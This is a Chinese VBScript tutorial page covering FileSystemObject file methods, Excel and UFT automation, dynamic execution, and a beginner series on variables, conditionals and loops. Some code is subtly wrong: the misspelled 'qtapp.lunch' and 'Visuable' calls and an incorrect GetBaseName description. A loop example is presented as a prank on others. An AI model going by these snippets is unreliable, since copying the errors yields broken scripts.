ReadAll()
作为单个字符串读出整个文件
ReadLine()
作为一个字符串从文件中读出一行(直到回车符和换行)
Skip(numchars)
当从文件读出时忽略 numchars 个字符
SkipLine()
当从文件读出时忽略下一行
Write(string)
向文件写入字符串 string
WriteLine(string)
向文件写入字符串 string(可选)和换行符
WriteBlankLines(n)
向文件写入 n 个换行符
TextStream对象的属性:
属性
说明
AtEndOfLine
如果文件位置指针在文件中一行的末尾则返回 True
AtEndOfStream
如果文件位置指针在文件的末尾则返回 True
Column
从 1 开始返回文件中当前字符的列号
Line
从 1 开始返回文件中当前行的行号”
CreateFile
用指定的文件名 filename 在磁盘上创建一个新的文本文件,并返回与其对应的 TextStream 对象
语法:object. CreateTextFile(filename,blnOverWrite,unicode)
参数 描述 filename 文件名称 blnOverWrite 可选项,Ture强制覆盖,为False不覆盖 unicode 可选项,如果以 Unicode 文件格式创建文件,则该值为 True;如果以 ASCII 文件格式创建文件,则该值为 False。如果省略此部分,则假定创建 ASCII 文件。 Option Explicit Dim fso,f 'Create file Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.CreateTextFile("D:\learning\vbs\1\testfile.txt", True)
OpenTextFile
OpenTextFile(filename[, iomode[, create[, format]]])
打开一个指定的文件并返回一个 TextStream 对象,该对象可用于对文件进行读、写、追加操作。
CreateTextFile 和OpenTextFile属于同一等级的函数,不要以为应该是先CreateTextFile以后就应该调用OpenTextFile,并不是这样的,完全可以通过OpenTextFile中的第三个属性(true)来新建一个文件并写入。
参数 描述 filename 文件名称 iomode iForReading 1 打开一个只读文件,不能对此文件进行写操作。
ForWriting 2 打开一个用于写操作的文件。如果和此文件同名的文件已存在,则覆盖以前内容。
ForAppending 8 打开一个文件并写到文件的尾部。create 可选,它表示如果指定的 filename 不存在是否可以创建一个新文件。如果创建新文件,其值为 True。若不创建文件其值为 False。缺省值为 False。 Format TristateUseDefault –2 使用系统缺省打开文件。
TristateTrue –1 以 Unicode 格式打开文件。
TristateFalse 0 以 ASCII 格式打开文件。Option Explicit Dim fso,f '创建常量 Const ForReading = 1,ForWritting = 2,ForAppending = 8 'Create file Set fso = CreateObject("Scripting.FileSystemObject") 'Set f = fso.CreateTextFile("D:\learning\vbs\1\testfile.txt", True) 'Open file Set f = fso.OpenTextFile("D:\learning\vbs\1\testfile.txt",ForAppending,False) f.WriteLine("Hello") f.Close Set fso = nothing
封装函数使其更通用:
Option Explicit Sub writelog(filepath,logstr) Dim fso,f '创建常量 Const ForReading = 1,ForWritting = 2,ForAppending = 8 'Create file Set fso = CreateObject("Scripting.FileSystemObject") 'Set f = fso.CreateTextFile(filepath, True) 'Open file Set f = fso.OpenTextFile(filepath,ForAppending,False) f.WriteLine logstr f.Close Set fso = Nothing End Sub 'Now() 返回当前的日期和时间 writelog "D:\learning\vbs\1\testfile.txt",Now() &"---执行自动化测试"
结果:
DeleteFile
描述:删除一个文件
语法:object. DeleteFile (strFile,force)
参数:strFile为想要删除的文件。组成部分中可用通配符。
force如果要删除只读文件,则该值为 True;否则为 False(默认)示例:删除文件: c:\test.txt
Dim Fso '创建FileSystemObject对象 Set Fso = CreateObject("Scripting.FileSystemObject") '使用DeleteFile删除指定文件 Fso.DeleteFile("c:\test.txt") '强制删除只读的文件 Fso.DeleteFile "c:\test.txt",True
CopyFile
描述:将一个或多个文件从某位置复制到另一位置
语法:object.CopyFile "source", "destination"[, overwrite]
参数:source必选项。表示指定文件的路径。组成部分中可用通配符。
destination必选项。表示目标位置路径
overwrite可选项。Boolean 值表明是否覆盖现有文件。如果是 True,则覆盖文件;如果是 False,则不覆盖现有文件。默认值是 True
示例:将 c:\test.txt文件复制到D:\下Dim Fso '创建FileSystemObject对象 Set Fso = CreateObject("Scripting.FileSystemObject") '使用CopyFile复制文件到另一个位置,False不覆盖已存在文件 Fso.CopyFile "c:\test.txt","D:\",False 'True覆盖已存在文件 Fso.CopyFile "c:\test.txt","D:\",True
示例:将 c:\下所有的txt文件复制到D:\下
Dim Fso '创建FileSystemObject对象 Set Fso = CreateObject("Scripting.FileSystemObject") '使用*.txt,可以同时将多个文件复制到另一个位置,False不覆盖已存在文件 Fso.CopyFile "c:\*.txt","D:\",False 'True表示覆盖已存在文件 Fso.CopyFile "c:\*.txt","D:\",True
MoveFile
描述:将一个或多个文件从某位置移动到另一位置
语法:object.MoveFile source, destination
参数:source必选项。要移动的文件的路径。组成部分中可用通配符。
destination必选项。指定路径,表示要将文件移动到该目标位置。
destination 参数不能包含通配符。
示例:将 c:\test文件夹移动到D:\下Dim Fso '创建FileSystemObject对象 Set Fso = CreateObject("Scripting.FileSystemObject") '使用MoveFile移动文件到另一个位置 Fso.MoveFile "c:\test.txt","D:\"
GetBaseName
描述:获取文件当前所在文件夹
语法:object.GetBaseName Path
参数:Path必选项。文件路径名。
示例:获取”c:\test.txt”文件名称Dim Fso Dim GetBaseName '创建FileSystemObject对象 Set Fso = CreateObject("Scripting.FileSystemObject") '使用GetBaseName获取文件的文件名称 GetBaseName = Fso.GetBaseName("c:\test\test.txt") MsgBox GetBaseName '输出test
11.excel新建
像多数office产品一样,Excel通过其COM接口提供自动化操作方法。
Excel对象模型:
11.1新建、保存、退出Excel工作表:
Dim exlapp,exlworkbook,exlworksheet '创建Excel对象实例 Set exlapp = CreateObject("Excel.application") '新增一个工作簿,Add方法返回对它的引用,可以用来操作工作簿 Set exlworkbook = exlapp.Workbooks.Add '新增一个工作表,Add方法返回对新增工作表的对象引用 Set exlworksheet = exlworkbook.Worksheets.Add '更新A1单元格的内容 exlworksheet.Cells(1,1) = "Hello,Test"'也可写成 exlworksheet.Cells(1,"A") = "Hello,Test" '保存新建工作表,这里使用SaveAs方法,因为此工作簿从未被保存过;如果原来存在,则使用Save方法 exlworkbook.SaveAs "D:\learning\vbs\1\testexcel.xls" '关闭工作簿 exlworkbook.Close '关闭之前打开的Excel实例,结束进程 exlapp.Quit '最后销毁所有对象引用 Set exlapp = Nothing Set exlworkbook = Nothing Set exlworksheet = Nothing
结果:
11.2 excel与fso对象判断Excel是否存在
创建前判断Excel是否存在,需要用到FileSystemObject对象来查看文件是否存在
Dim exlapp,exlworkbook,exlworksheet Dim fso,exlexist,sSourceFile '源文件 sSourceFile = "D:\learning\vbs\1\test1.xls" Set fso = CreateObject("Scripting.FileSystemObject") Set exlapp = CreateObject("Excel.application") '判断文件是否存在 exlexist = fso.FileExists(sSourceFile) If exlexist Then '如果文件存在,则打开此文件 Set exlworkbook = exlapp.Workbooks.Open(sSourceFile) Else '如果文件不存在,则新建 Set exlworkbook = exlapp.Workbooks.Add End If '新增一个工作表,Add方法返回对新增工作表的对象引用 Set exlworksheet = exlworkbook.Worksheets.Add '更新A1单元格的内容 exlworksheet.Cells(1,1) = "Hello,Test"'也可写成 exlworksheet.Cells(1,"A") = "Hello,Test" If exlexist Then '保存新建工作表,如果原来存在,则使用Save方法 exlworkbook.Save '保存新建工作表,如果从未被保存过,则使用SaveAs方法 Else exlworkbook.SaveAs sSourceFile End If '关闭工作簿 exlworkbook.Close '关闭之前打开的Excel实例,结束进程 exlapp.Quit '最后销毁所有对象引用 Set exlapp = Nothing Set exlworkbook = Nothing Set exlworksheet = Nothing
结果:
11.3使用EXCEL作为UFT的输出数据表
CompareMode 属性 - VBScript 用户指南 - 文江博客 (wenjiangs.com)
object.CompareMode[ = compare]
参数:
object:必选项。Dictionary 对象的名称;
compare:可选项。如果提供此参数,compare 参数为数值,表示由函数如 StrComp 使用的比较模式。
compare 参数设置如下:
Constant Value Description vbBinaryCompare 0 执行二进制比较. vbTextCompare 1 执行文本比较. 12.UFT对象导入导出
UFT中,有时候会出现多个模块 存在一样的对象情况,这时候就可以将对象导出到本地,作为公共对象以供调用,这样做的好处就是可以节约资源。步骤如下:
对象导出:
1、从Object Repository ->选择“文件夹”->“导出本地对象”,并删掉该对象库中的所有对象->将 被导出的“对象文件”保存到本地;
对象导入:
2、在UFT脚本编辑器中,使用repositoriescollection.RemoveAll 语句删掉所有残余对象;
3、在UFT脚本编辑器中,使用repositoriescollection.Add"公共对象文件路径",如 repositoriescollection.Add"c:\testtsr.tsr",特地说明,对象库文件是以tsr为后缀名的。
13.UFT自动化对象模型
AOM(Automation Object Model )
目的:用编程的方法控制测试用例的执行。
UFT与VbsEdit怎么联系到一起?
在VbsEdit里面打开Tools-Reference,点击Add,选择TypeLib,找到UFT安装目录下的bin-QTObjectModel.dll文件打开;
选择Prog ID,输入选择Quick Test.Application
举例:在Vbs.Edit里面编程使用AOM的方式来控制执行QTP/UFT脚本
Dim qtapp '创建qtp对象 Set qtapp = CreateObject("quicktest.application") qtapp.lunch '启动QTP qtapp.Visuable = True '使UFT应用可见 '打开QTP/UFT脚本所在的路径 qtapp.open "C:\GUITest1" qtapp.Test.Run '运行脚本 qtapp.Test.Close '关闭脚本 qtapp.quit '退出qtapp对象 Set qtapp = Nothing '释放资源
14.其他
Execute
用来动态执行任何定义在字符串内的内容。
Execute [statement] 在局部范围执行
Dim x Execute "x=2" MsgBox x
结果:2
ExecuteGlobal 在全局范围执行
在VBScript中,可以用ExecuteGlobal语句来在一个脚本文件中加载另外一个脚本的函数,例如,假设需要加载的是脚本Test.vbs:
Function Test1
Msgbox "Test1"
End Function那么可以在脚本ExecuteGlobal.vbs中按下面的方式加载并调用Test1函数:
Set fso = CreateObject("Scripting.FilesyStemObject")
Str = fso.OpenTextFile("Test.vbs", 1).ReadAll
ExecuteGlobal Str
Set fso = NothingUFT:
Eval
Eval函数用来判断一个语句
Exit
Exit 语句的语法有以下几种形式:
语句 描述 Exit Do 提供一种退出 Do...Loop 语句的方法。只能在 Do...Loop 语句中使用。Exit Do 将控制权转移到 Loop 语句之后的语句。在嵌套的 Do...Loop 语句中使用时,Exit Do 将控制权转移到循环所在位置的上一层嵌套循环。 Exit For 提供一种退出 For 循环的方法。只能在 For...Next 或 For Each...Next 循环中使用。Exit For 将控制权转移到 Next 之后的语句。在嵌套的 For 循环中使用时,Exit For 将控制权转移到循环所在位置的上一层嵌套循环。 Exit Function 立即从出现的位置退出 Function 过程。继续执行调用 Function 的语句后面的语句。 Exit Property 立即从所在的 Property 过程中退出。继续执行下面调用 Property 过程的语句。 Exit Sub 立即从出现的位置退出 Sub 过程,继续执行调用 Sub 的语句后面的语句。 -
简单VBS教程
2018-06-24 15:38:25讲一下VBScript。主要面向菜鸟,懂得编程的朋友就不要浪费时间了,如果你想接触以下VBScript也可以。但既然有编程基础推荐直接去找一些参考书来读。...正如其字面所透露的信息,VBS(VBScript的进一步简写)是基...讲一下VBScript。主要面向菜鸟,懂得编程的朋友就不要浪费时间了,如果你想接触以下VBScript也可以。但既然有编程基础推荐直接去找一些参考书来读。会比较快。
什么是VBScript呢?VBScript的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版)。正如其字面所透露的信息,VBS(VBScript的进一步简写)是基于Visual Basic的脚本语言。我进一步解释一下,Microsoft Visual Basic是微软公司出品的一套可视化编程工具,语法基于Basic.脚本语言,就是不编译成二进制文件,直接由宿主(host)解释源代码并执行,简单点说就是你写的程序不需要编译成.exe,而是直接给用户发送.vbs的源程序,用户就能执行了。
我知道菜鸟现在最关心的就是用什么工具来开发VBS程序了,答案是:记事本(Notepad).我不是开玩笑,其实任何一种文本编辑器都可以用来开发VBS开发,只不过记事本是由系统自带的,比较好找而已. 尽管如此,我还是建议你去下载一个专业的文本编辑器,因为这些工具可以提供 "语法高亮"等功能,更加方便开发,用哪一个随你喜好,我比较喜欢Edit Plus (2.10).
OK,我们先来写一个VBScript程序热热身.1 REM 输入并回显你的名字 2 '使用InputBox和Msgbox函数 3 Dim name,msg 4 msg="请输入你的名字:" 5 name=Inputbox(msg,"名称") 6 Msgbox(name)
把上面的程序清单输入到记事本里面,然后保存为以.vbs为扩展名的文件("保存类型"里面选择"所有文件").然后双击运行,观察运行结果. 注意:请自己输入程序清单,不要复制->粘贴!
我来解释一下这个程序,第一行和第二行的开头分别是"REM"语句和" ' ",这两个东西的作用是相同的,表示本行是注释行,就是说这两行什么也不干,只是用来说明这段程序的功能,版权信息等等. 注释行是程序最重要的部分之一,尽管它不是必需的,但对于其他人阅读源代码,以及自己分析源代码是很有好处的. 好的习惯是在必要的地方加上清晰,简洁的注释。
Dim用来声明一个变量,在VBS中,变量类型并不是那么重要,就是说VBS会帮你自动识别变量类型,而且变量在使用前不一定要先声明,程序会动态分配变量空间. 在VBS中你不用考虑name储存的是一个整数还是一个小数(学名叫"浮点数"),也不用考虑是不是字符串(一串字符,比如:"Hello World"),VBS会自动帮你搞定. 所以第三行语句可以删除,效果不会变,但我强烈反对这么做,一个变量的基本原则就是:先声明,后使用.变量名用字母开头,可以使用下划线,数字,但不能使用vbs已经定义的字,比如dim,也不能是纯数字。
下一行被称之为"赋值","="是赋值符号,并不是数学中的等于号,尽管看起来一样.这是正统的理解,你要理解成等于也没有什么不可. 赋值号的左边是一个变量,右边是要赋给变量的值,经过赋值以后,msg这个变量在程序中等同于"请输入你的名字:"这个字符串,但当msg被再次复制的时候,原值就会消失. 不光字符串,其他任何变量都这样被赋值,例如: a=2,b=12.222等等。
再往下,Inputbox和Msgbox是VBS内建的函数,一个函数就相当于一个"黑箱",有输入(参数)和输出(返回值),你可以不用了解函数是怎么运作的,只要了解这个函数能干什么就行了,我们也可以定义自己的函数,不过那要等到以后再讲. 现在我们只要了解,一个函数可以有返回值也可以没有,可以有参数也可以没有. 例如Inputbox就是有返回值的函数,我们用赋值号左边的变量来"接"住InputBox的返回值--就是你输入的内容. 在inputbox右边的括号里是参数列表,每个参数用","分隔开,每个参数有不同的功效,比如第一个参数会显示在提示里,我们把msg这个变量作为第一个参数传给了Inputbox 函数,而msg="请输入你的名字:",所以我们在对话框的提示栏就会看到“请输入你的名字:” 第二个参数是对话框的标题,我们用直接量(学名叫"常量",这里是"字符串常量")传递给函数,当然你也可以传递变量. Inputbox还有很多参数,比如你在"名称"后面再加一个","然后输入随便一串字符(字符串,用双引号""包裹起来的一串字符叫做字符串)然后运行,看看结果. 你会发现用于输入的文本框有了默认的值,这就是第三个参数的作用。
Msgbox函数是用来输出的函数,在VBS中没有专门的输出函数(BASIC中的print,C中的printf),所以我们只能用对话框来观察输出结果,Msgbox的必要参数只有一个,就是要输出的内容,在这种情况下,我们不需要理会msgbox的返回值. 关于Msgbox和Inputbox我们以后还会在讨论,今天只是热热身,到此为止.
要点:
1) 注释(以REM或'开头)行在程序中不起作用,但能让别人更容易读懂你的程序.
2) 变量好像一个盒子,或一个代号,可以代表你想代表的东西. 变量赋值使用"="
3) 以""包裹起来的字符称之为"字符串"
4) 函数像一个"黑箱",有参数和返回值,用"="左边的变量可以接住返回值
5) Inputbox函数弹出一个输入对话框,Msgbox则用于输出
作业:
1) 试验Inputbox的第三个参数
2) 写一段程序输出你的年龄
3) 写一段程序进行3次输入,分别输入你和你父母的姓名(要求显示提示),并分3次输出。
第二篇:
我真没想到,第一次的作业竟然有人不会。
看来要讲的非常非常细致才行,嗯,今天讲各种“量”和基本运算。
先说常量,这个比较简单。
什么是常量呢,常量就是其值不可变化的量。
常量分为两种:第一种,自然常量。这叫是因为它们本身就是常量,你怎么更改21的值呢? 他永远都是21,不可能变成46。
如果你在程序中使用"21=46",这样的语句将会引发一个错误。同样的,字符串也是常量(还记得字符串吗? 就是包裹在""之间的一串字符),"Hello World"就是一个例子,如果你使用"Hello World"="Bye"这样的语句同样会引发一个错误。你能举出自然常量的更多例子吗?
第二种,是我们自己定义的常量,这种量也使用代号,他们也被赋值,但和变量的不同点在于,他们在定义的时候被赋值,以后就不能改变了,如果企图改变将会引发一个错误。定义一个变量,我们使用"const"这个关键字(关键字的意思是系统定义了有特殊功能的字,不能作为变量名或常量名使用),格式是:const 常量名=常量值
例如:
const PI=3.1415926
const NAME="记忆碎片"
这样我们就定义了两个常量,PI和NAME,一般说来,常量名全部使用大写,但也可以不用,随你喜好。将一些在程序中不需要改变的值定义为常量是个好习惯,这样能防止不必要的意外。另外,使用自定义常量也可以减少你的工作量。 比如:
msgbox("Hello World")
msgbox("Hello World")
msgbox("Hello World")
msgbox("Hello World")
msgbox("Hello World")
这个程序输出五次Hello World,如果你想要改变输出为Bye-Bye,就必须修改全部程序,当然你可以手动修改5次,但如果你要输出1000次呢?常量就可以替我们解决这个问题:
const hw="Hello World"
msgbox(hw)
msgbox(hw)
msgbox(hw)
msgbox(hw)
msgbox(hw)
这样当你要修改输出的时候只要修改hw的值就行了。
好了,现在我们来看看编程的第一块重要“基石”:变量。解释变量最好的办法我觉得是“盒子”,一个变量好像一个盒子,里面只能装一个东西,当你要装进去别的东西的时候必须把原有的东西拿出来。这个“盒子”是有名称的,当你在程序中使用变量的时候,系统会打开盒子取出里面的东西,让这些东西参与处理,而不是盒子。有些语言是很依赖“盒子”里面装些什么东西,这样才能找到合适的“盒子”(比如C语言),但VBS给我提供的是能够自动伸缩的“魔术盒”,我们不用关心装进去的是什么东西,VBS会自动调整盒子的大小。例如:
Dim a1,a2,a3
a1=14
a2=12.23
a3="Hello"
而不用像C语言那样麻烦,或者是VB的正规声明(VB可以声明也可以不用)那样:
int a1; Dim a1 as integer
float a2; Dim a2 as Double
char* a3; Dim a3 as strnig
a1=14; a1=14
a2=12.23; a2=12.23
a3="Hello"; a3="Hello"
嗯……扯远了……
变量有什么用呢?哇,那用处可大了。最简单,你并不能确定程序运行时变量的值,比如前一节课我们编的输入姓名的程序,你不能确定InputBox返回的是什么(还记得Inputbox的返回值吗?就是你输入的内容),所以你就没有办法应对各种情况,但我们用name这个“盒子”把用户的名字装起来,到用的时候我们只要知道name这个盒子的名字就行了,系统会自己打开他并把里面的内容拿出来用。再举个例子,我们编写一个程序计算一个矩形的面积,比如这个程序要发给小学生使用:
dim a,b,s
a=15
b=12
s=a*b
msgbox(s)
这样就可以求出长为15,宽为12的矩形的面积了,是不是很简单?当然, 这个程序也可以这样写:
dim s
s=15*12
msgbox(s)
这样看起来程序短了许多,也节约内存,但并不是鼓励的做法,为什么?请看下面。
现在,我们的程序要变得像点样子才行,谁的程序写出来还要别人修改源代码才能用啊?
所以,我们要接受用户的输入,还记得吗?InputBox函数。
修改后程序如下:
dim a,b,s
a=inputbox("请输入矩形的长:")
b=inputbox("请输入矩形的宽:")
s=a*b
msgbox(s)
OK,这么一修改,无论用户输入怎样的数据,我们都能计算出矩形的面积了。如果你用s=15*12能改嘛?当然不行。
我想你已经发现了,vbs中的数学计算和真正的算术没有什么不同,+,-,*,/,(),[],{}都是一样的用法,比如:
dim ans
ans=12+32/4+[(23-10)*2]
msgbox(ans)
四则运算的法则在编程中同样生效,你可以在编程中重新获得小学时候的乐趣(你恨数学?那就别学电脑了)。
在编程中有一个有趣的运算符是"mod",这个运算符叫做"取余运算符",就是取得一次除法的余数,例如:
dim a
a=16 mod 5
你知道a等于几吗?Bingo!没错,就是1。因为16 / 5 =3……1,所以mod计算的结果就是1。
还有一个运算符是"^"(就是键盘“6”上面的小箭头),他表示“乘幂”(或者是“方”),比如:
dim a,b,c
a=2
b=a^2
c=a^3
msgbox(a)
msgbox(c)
则b=a*a=4,c=a*a*a=8
我们一次不要讲太多,这次就讲到这里,现在总结一下。
要点:
1) 常量分为自然常量和自定义常量,常量的值不可修改
2) 变量就像盒子,我们不在乎盒子里装的是什么,但一定要知道盒子的名字
3) 四则运算在编程中没有任何不同
4) MOD是取余运算
作业:
1) 编一个程序,计算圆形的面积,半径由用户给出 (使用Inputbox) PI取值3.14159
2) 编一个程序取得20 / 3 的余数
估计大家看累了,我来个大话西游2游戏计算器的实例吧。
小黑在帮派门口摆摊卖药,今天共卖了 56 个灵异天香,每个的出售价格为 2170 ,那么他赚了多少钱?(药店出售的灵异天香价格为2160)
在题目中,56和2170是变量。大家可以想想代码怎么写,然后再往下看。
dim m,n,x,msg
msg="小黑在帮派门口摆摊卖药,今天共卖了 n 个灵异天香,每个的出售价格为 m ,那么他赚了多少钱?"
n=inputbox(msg,"灵异天香个数n","请在此输入灵异天香个数n")
m=inputbox(msg,"每个售价m","请在此输入每个药的出售价格m")
x=(m-2160)*n
msgbox("答案:" & x)
第三篇:
首先,我来解决一下上次课程的几个疑问。
第一,那个余数问题,16 / 5 = 3...1, 是因为我改过前面的部分, 后面的忘了改了,不好意思。
第二,请看一下程序清单:
1)
Dim a,b,c
a=inputbox("a是:","输入半径")
b=Inputbox("b是:","输入半径")
c=a*2+b*2
Msgbox(c)
这个 输入1、2时是6
2)
Dim a,b,c
a=inputbox("a是:","输入半径")
b=Inputbox("b是:","输入半径")
c=(a+b)*2
Msgbox(c)
这个输入1、2时是24
为什么会不一样呢? 在数学上c=(a+b)*2 和 c=a*2+b*2是等价的, 在VBS中也是如此. 问题出在"+"上, 在VBS中, +不仅仅是加号的意思还表示把两个字符串连接起来, 例如"Hello"+"World"="HelloWorld" have you understood? 你还记得InoutBox函数的返回值吗?是字符串!这就看出问题了吧,在编程中"1"不等于(<>)1, "1"是一个字符, 而1是一个数,所以a,b都是字符串变量,"1"+"2"="12", 这就好像我们小时跟伙伴开玩笑问他们1+1=?一样,我们总是笑着说“错啦,应该是11”,但为什么,a可以*2却不发生错误呢?这是VBS比较智能的一个表现,如果这个字符串的内容是一个数且对他进行数学运算,则把字符串强制转换成数参与运算,如果字符串代表一个数,但不参加数学运算,而是参加字符串运算(合并)则当作字符串处理,所以你看到a+b=12,这时候a+b的结果(12)是一个字符串,当它要乘以2的时候就被强制转换成了数字12,这样我就得到了结果24。
怎么修改这个程序呢?我们需要用到另一个内建的函数:int
int函数的功能是将输入值转化成整数值,我们这样修改:
c=(int(a)+int(b))*2
这个意思就是把a作为参数传递给int函数,int函数就会返回那个整数(你的输入值),然后让返回值参与运算,这样就得到了正确答案。所以,以后如果你用的是inputbox函数的话,最好用int语句加工一下:比如c=int(c) 'c是你自己的变量。
大家是不是觉得这个课程有点枯燥。呵呵,变量和运算符部分的确是这样的,不过多多练习也就好了。这次,我们写写真正好玩的东西:流程控制语句。这个部分开始才是真正的编程。
首先介绍判断结构.
在此之前, 我们先介绍一种简单的变量类型:布尔值(Boolean), 这种变量只有两个可能值:True,Flase,即真或假. 这种变量在某些情况下很有用(比如"开关"). 我们定义一个bool变量的方法和其他变量一样, 赋值也一样, 例如:
dim a,b
a=true
b=false
注意,true和"true"是不一样的, "true"是字符串,true是布尔值, 千万不能混淆.
回到if语句上来, 我们先来看看简化版的if语句:if 判断式 then 语句体 我们来看一个例子:
dim a,b
a=12
b=13
if b>a then msgbox("B大于A")
我们只看最后一行, a>b这个式子(表达式)有一个返回值, 是bool型的. 因为这个式子只有两种可能:b大于a, b不大于a, 所以这个式子也只有两种可能性, 即真或者假. if语句判断这个表达式的返回值是真还是假, 如果是真(true)则执行then后面的语句, 如果是假, 则不执行, 你把a的值改成14看看还会不会弹出对话框?
当我们要在判断之后执行多行语句怎么办呢, 我们需要用语句块来解决, 在这里可以叫块if
dim a,b
a=12
b=13
if a<b then
msgbox("A小于B")
msgbox("B大于A")
end if
两个msgbox函数夹在if和end if之间, 这个部分就是语句块, 块里的每一条语句之前请空出4--8(一个<Tab>键)个格, 这不是必需的, 但是是一个好习惯, 以便看清楚程序的结构. 这样我们就能运行多于一个的语句, 请注意if...then...end if 这三个关键部分不要掉了. OK, 我出一个题, 输入一个数, 如果小于100就输出"错误", 如果大于100就输出"正确", 我这里有两个程序版本:
dim a
a=inputbox("请输入一个大于100的数")
a=int(a) 'inputbox返回的是字符串, 我们把他变成整数 : )
if a>100 then msgbox("正确")
if a<100 then msgbox("错误")
还有一个更简单的
dim a
a=inputbox("请输入一个大于100的数")
a=int(a) 'inputbox返回的是字符串, 我们把他变成整数
if a>100 then
msgbox("正确")
else
msgbox("错误")
end if
看到多了一个else了吧, else的作用就是当要判断的表达式为false时执行的. 这样程序就可以处理两种不同的情况了. 不要忘了用end if结尾
嘿嘿, 我是变态者, 现在我要你处理三种情况, <100,=100,>100, 还要写在一个if结构里, 你怎么办, 我给你答案:
dim a
a=inputbox("请输入一个大于100的数")
a=int(a) 'inputbox返回的是字符串, 我们把他变成整数
if a>100 then
msgbox("正确")
elseif a=100 then
msgbox("老大, 你耍我?")
else
msgbox("错误")
end if
这次输入100看看, 是什么? else if语句可以在if结构中多次出现, 以灵活判断不同的情况 (如果你要判断得太多, 就请使用"选择结构", 过会儿就讲), 当所有elseif都处理完了,而没有符合情况的时候再执行else中的语句.另一个例子:
Dim a,b,c,d
a=inputbox("a是:","输入半径")
b=Inputbox("b是:","输入半径")
d=Inputbox("答案:","输入答案")
c=a*2+b*2 '这里没有问题, 会自动转换
if d=c then
Msgbox("你好聪明")
else
Msgbox("你好猪头 自己的题还不会!")
end if
再看看这个, 无论你回答得多么正确你都是猪头, 哈哈, 不是我耍你, 还是文章开始时候的inputbox的返回类型在耍你, d是inputbox的返回值, 他是一个字符串, 而c是一次整数计算的结果, 他是一个整数. 一个字符串无论如何也不等于一个整数, 尽管他们字面上是一样的:"8"<>(不等于号)8 所以if的判断式的值永远是false, 总是执行else部分的语句. 我们可以这么修改
Dim a,b,c,d
a=inputbox("a是:","输入半径")
b=Inputbox("b是:","输入半径")
d=Inputbox("答案:","输入答案")
d=int(d)
'在这里我们取出了d的值, 变成整数, 在放回"d"这个盒子里
c=a*2+b*2
if d=c then
Msgbox("你好聪明")
else
Msgbox("你好猪头 自己的题还不会!")
end if
这样就成功了. 这也是Inputbox函数的一个讨厌的地方, 没办法, vbs没有其他好的输入方式了。
说到if, 我们不得不说一说逻辑运算符, 今天介绍两种, "and" 和 "or" 学会了if语句之后, 我举一个例子, 你一看就明白了.
dim a,b
a=inputbox("输入一个数 >10")
b=inputbox("输入另一个数 >10")
a=int(a)
b=int(b)
if a>10 and b>10 then
msgbox("正确")
else
msgbox("错误")
end if
这段程序让你输入两个值, 必须都大于10, 只要有一个不大于, 就输出错误
dim a,b
a=inputbox("输入一个数 >10")
b=inputbox("输入另一个数 >10")
a=int(a)
b=int(b)
if a>10 or b>10 then
msgbox("正确")
else
msgbox("错误")
end if
这段程序让你输入两个值, 只要有一个大于10, 就返回成功. 其实and和or很好理解, 我读"if a>10 or b>10 then" 这一句, 用华语是这样:"如果a大于10或者b大于10, 那么...". 这样是不是就很好理解了呢.
OK, 我们再来看一种新结构, 今天的课就结束, 已经午夜了, 我都累死了.
当你的程序要处理很多种不同的判断情况的时候elseif..then会让程序看起来很杂乱, 所以就有了一种select case结构专门对付这种情况, select case的语法结构很简单:
select case 变量名
case 值
语句
case 值
语句
case else
语句
end select
我们举个例子就能很简单的说明:
dim a
a=inputbox("输入一个1--3的值")
a=int(a) '处理inputbox返回字符串的问题
select case a
case 1
msgbox("壹")
case 2
msgbox("贰")
case 3
msgbox("叁")
case else
msgbox("输入错误")
end select
这个例子把1,2,3这三个阿拉伯数字转化成中国大写数字, 这个程序写成if...elseif 的形式如下
dim a
a=inputbox("请输入1--3的值")
a=int(a)
if a=1 then
msgbox("壹")
elseif a=2 then
msgbox("贰")
elseif a=3 then
msgbox("叁")
else
msgbox("输入错误")
end if
怎么样, 麻烦吧, 还是select好吧.
OK, 今天到此结束, 总结一下:
要点:
1) inputbox返回的是一个字符串, 而不是一个数, 必须用a=int(a)这种形式转化成数
2) bool变量的值只有两种:true,false
2.5) and两边的表达式都是true, 则返回true. or两边的表达式有一个是true, 就返回true
3) if 语句的格式
4) select...case的格式
作业:
1) 使用3个bool值, 储存你的3兄弟姐妹是否是男性 (提示:sister1male=false)
2) 给定一个个数, 大于10而且小于20输出"正确", 否则输出"错误"
3) 输入12,或者15, 输出"正确", 否则输出"错误"
4) 把5以内的正整数都转换成中国大些数字
5) 自己随便设计一个程序, 应用今天的知识
第四篇:循环结构
我们先来看一道题:商场进行每日结算, 要求累加出今天的营业额, 每次输入一个数, 这道题其实很简单, 但就我们现在学过的知识要完成这道题相当麻烦, 我们来分析一下. 首先, 我们需要知道买卖的次数, 这样才能控制输入的次数,但是, 这种设计是非常低效的, 每天都要重新设计程序. 假定今天进行了5次交易, 以下是源程序:
dim sum
sum=0 '初始化变量
sum=sum + int(inputbox("请输入交易额"))
'sum=sum+x 这种形式是把本身的值取出来, 进行一次运算, 再放回本身, 这种方法很有用处'这里使用了函数嵌套, 把inputbox的返回值直接传给int函数, 转化成整数, 下同
sum=sum + int(inputbox("请输入交易额"))
sum=sum + int(inputbox("请输入交易额"))
sum=sum + int(inputbox("请输入交易额"))
sum=sum + int(inputbox("请输入交易额"))
msgbox(sum)
看到了吗, 我通过把计算过程复制了5遍才设计好了程序, 这种程序在汽车交易所等交易次数少的地方还能凑合着用, 如果放到超市岂不是要复制, 粘贴几千遍? 我们今天讲的内容就可以克服这种缺陷, 首先, 我们来讲以下Do...Loop语句.
do...loop的结构看上去非常简单, 就是:do...loop, 仅此而已, 这个结构不断执行do和loop之间的语句(学名叫:循环体),
永不停止. 举个例子来说:
do
msgbox("这个信息会不断重复出现, 要停止程序请使用任务管理器(Ctrl+Alt+Del)中止wscript进程")
loop
运行这个程序, 当你点销掉一个对话框马上会出来另一个, 你永远点不完, 总有下一个. 谁会运行这样的程序? 除非是给别人捣乱(我就干过这种事), 所以在do..loop结构中还有一个语句:exit do, 这个语句将终止循环, 跳到loop后面的语句继续
执行. 据个例子来说:
dim a '注意:常量不需要在dim里面声明,否则会引发错误
const pass="123456" '这是一个字符串 请用""包裹起来. 设定密码为常量, 不可变更
do
a=inputbox("请输入密码")
if a=pass then
msgbox("密码校验成功")
exit do
end if
loop
这个程序会一直不停的问你密码, 知道你输入了正确的密码为止.(if可以嵌套在另一个if当中, 也可以嵌套在循环体当中, 所以一定要用缩进, 来分清楚程序的各个部分). 这个程序是很经典的, 早期的程序都是这么做的. 但是我们是Hacker, 所以
